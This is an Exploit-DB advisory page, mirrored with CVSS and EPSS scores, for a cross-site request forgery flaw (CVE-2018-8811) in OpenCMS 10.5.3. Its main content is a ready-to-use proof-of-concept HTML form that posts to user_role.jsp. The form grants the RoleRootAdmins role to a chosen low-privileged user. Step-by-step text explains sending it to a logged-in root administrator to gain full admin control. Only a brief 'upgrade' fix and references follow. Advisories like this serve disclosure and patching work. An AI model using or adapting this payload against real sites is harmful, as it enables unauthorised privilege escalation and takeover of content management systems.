Lucene search
Sureshbabu NarvaneniEDB-ID:44391HistoryApr 02, 2018 - 12:00 a.m.
OpenCMS 10.5.3 - Cross-Site Request Forgery
2018-04-0200:00:00
Sureshbabu Narvaneni
www.exploit-db.com
28
CVSS2
6.8
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
8.8
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
8.8
Confidence
High
EPSS
0.003
Percentile
71.6%
# Exploit Title: OpenCMS 10.5.3 Multiple Cross Site Request Forgery Vulnerabilities
Injection
# Google Dork: N/A
# Date: 02-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1
# Affected Version: 10.5.3
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-8811
1. Vendor Description:
OpenCms from Alkacon Software is a professional, easy to use website content management system. OpenCms helps content managers worldwide to create and maintain beautiful websites fast and efficiently.
2. Technical Description:
Cross-site request forgery (CSRF) vulnerability in system/workplace/admin/accounts/user_role.jsp in OpenCMS 10.5.3 allows remote attackers to hijack the authentication of administrative users for requests that perform privilege escalation.
3. Proof Of Concept:
a) Send below crafted request to logged in user who is having Root Administrator level access.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[DomainName]/opencms/system/workplace/admin/accounts/user_role.jsp" method="POST">
<input type="hidden" name="dialogtype" value="" />
<input type="hidden" name="root" value="" />
<input type="hidden" name="sortcol" value="" />
<input type="hidden" name="preactiondone" value="" />
<input type="hidden" name="oufqn" value="" />
<input type="hidden" name="resource" value="" />
<input type="hidden" name="userid" value="Replace with actual user id of low privileged user." />
<input type="hidden" name="closelink" value="%2Fopencms%2Fsystem%2Fworkplace%2Fviews%2Fadmin%2Fadmin-main.jsp%3Fpath%3D%2Faccounts%2Forgunit%2Fusers%26action%3Dinitial" />
<input type="hidden" name="framename" value="" />
<input type="hidden" name="ispopup" value="" />
<input type="hidden" name="originalparams" value="" />
<input type="hidden" name="message" value="" />
<input type="hidden" name="selitems" value="RoleRootAdmins" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="style" value="new" />
<input type="hidden" name="page" value="" />
<input type="hidden" name="base" value="" />
<input type="hidden" name="path" value="%2Faccounts%2Forgunit%2Fusers%2Fedit%2Frole" />
<input type="hidden" name="action" value="listmultiaction" />
<input type="hidden" name="searchfilter" value="" />
<input type="hidden" name="redirect" value="" />
<input type="hidden" name="force" value="" />
<input type="hidden" name="formname" value="lsre-form" />
<input type="hidden" name="listaction" value="ma" />
<input type="hidden" name="listMultiAction" value="RoleRootAdmins" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
b) Once the logged in user opens the URL the form will get submitted with active session of root administrator and action get performed successfully.
c) By leveraging this vulnerability user can gain Root Level Administrator Access to the CMS.
4. Solution:
Upgrade to latest release.
http://www.opencms.org/en/home/news.html
5. Reference:
https://github.com/alkacon/opencms-core/issues/586
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8811Related
nvd
nvd
CVE-2018-8811
2018-03-20 07:29:00
packetstorm
packetstorm
OpenCMS 10.5.3 Cross Site Request Forgery
2018-04-02 00:00:00
zdt
zdt
OpenCMS 10.5.3 - Cross-Site Request Forgery Vulnerability
2018-04-02 00:00:00
cvelist
cvelist
CVE-2018-8811
2018-03-20 07:00:00
cve
cve
CVE-2018-8811
2018-03-20 07:29:00
prion
prion
Cross site request forgery (csrf)
2018-03-20 07:29:00
exploitpack
exploitpack
OpenCMS 10.5.3 - Cross-Site Request Forgery
2018-04-02 00:00:00
CVSS2
6.8
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
8.8
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
8.8
Confidence
High
EPSS
0.003
Percentile
71.6%
Related for EDB-ID:44391